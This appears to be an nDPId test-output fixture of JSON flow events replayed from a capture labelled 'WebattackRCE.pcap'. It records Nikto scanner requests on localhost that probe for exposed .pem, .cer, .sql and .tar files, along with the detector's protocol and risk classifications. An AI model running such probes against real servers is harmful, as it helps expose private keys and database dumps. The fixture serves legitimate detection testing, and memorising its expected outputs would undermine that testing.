{"hostname":"127.0.0.1","url":"127.0.0.1\/1270.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":123,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1576420276862,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49790,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":123,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":862073,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9dyVAAEAGxRN\/AAABfwAAAcJ+H5ApDE8dFFMQVIAYAED+sQAAAQEICp1m+6WdZvulR0VUIC8xLmNlciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":123,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1576420276862,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49790,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":124,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1576420276863,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49792,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":124,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":863145,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9pJxAAEAGl5x\/AAABfwAAAcKAH5APfJymg2qZ5YAYAED+sQAAAQEICp1m+6edZvumR0VUIC8xLmNlciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":124,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1576420276863,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49792,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":125,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1576420276864,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49794,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":125,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":864280,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBqoBAAEAGkbR\/AAABfwAAAcKCH5Cxx5I\/tyTjW4AYAED+tQAAAQEICp1m+6idZvuoR0VUIC8xMjcuMC5zcWwgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":125,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1576420276864,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49794,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":126,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1576420276865,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49796,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":126,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":865429,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBsWVAAEAGis9\/AAABfwAAAcKEH5CGGYkkbARgroAYAED+tQAAAQEICp1m+6mdZvupR0VUIC8xMjcuMC5zcWwgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":126,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1576420276865,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49796,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":127,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1576420276866,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49798,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":127,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":866704,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBsTlAAEAGivt\/AAABfwAAAcKGH5CzxIl4Ool\/aIAYAED+tQAAAQEICp1m+6qdZvuqR0VUIC8xMjcuMC5wZW0gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":127,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1576420276866,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49798,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":128,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1576420276869,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49800,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":128,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":869015,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBxdFAAEAGdmN\/AAABfwAAAcKIH5BDzv2PC6KyZoAYAED+tQAAAQEICp1m+6ydZvusR0VUIC8xMjcuMC5wZW0gSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":128,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1576420276869,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49800,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":129,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1576420276870,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49802,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":129,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":870165,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAIL1AAEAGG3l\/AAABfwAAAcKKH5D\/Dxj7MLgvIIAYAED+tAAAAQEICp1m+66dZvuuR0VUIC9zaXRlLnRhciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":129,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1576420276870,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49802,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":130,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1576420276871,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49804,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":130,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":871393,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAmdRAAEAGomF\/AAABfwAAAcKMH5DqwaGU3VMvd4AYAED+tAAAAQEICp1m+6+dZvuvR0VUIC9zaXRlLnRhciBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":130,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1576420276871,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49804,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":131,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1576420276872,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49806,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":131,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":872618,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFFSZAAEAGJwt\/AAABfwAAAcKOH5D96y1nB6jLDIAYAED+uQAAAQEICp1m+7CdZvuwR0VUIC8xMjcuMC4wLjEuY2VyIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":131,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1576420276872,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49806,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":132,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1576420276873,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49808,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":132,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":873757,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFhm9AAEAGtcF\/AAABfwAAAcKQH5BNzL4wefiP1IAYAED+uQAAAQEICp1m+7GdZvuxR0VUIC8xMjcuMC4wLjEuY2VyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":132,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1576420276873,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49808,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":133,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1576420276874,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49810,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":133,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":874917,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCE1BAAEAGKOR\/AAABfwAAAcKSH5DnJisNBZiCk4AYAED+tgAAAQEICp1m+7KdZvuyR0VUIC8xMjcwMDEucGVtIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":133,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1576420276874,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49810,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":134,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1576420276876,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49812,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":134,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":876227,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCnWxAAEAGnsd\/AAABfwAAAcKUH5Co\/aUqs\/1iGoAYAED+tgAAAQEICp1m+7SdZvu0R0VUIC8xMjcwMDEucGVtIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":134,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1576420276876,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49812,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":135,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1576420276877,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49814,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":135,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":877506,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAt7lAAEAGhHx\/AAABfwAAAcKWH5CQPI\/1lm3rwoAYAED+tAAAAQEICp1m+7WdZvu1R0VUIC9zaXRlLmNlciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} 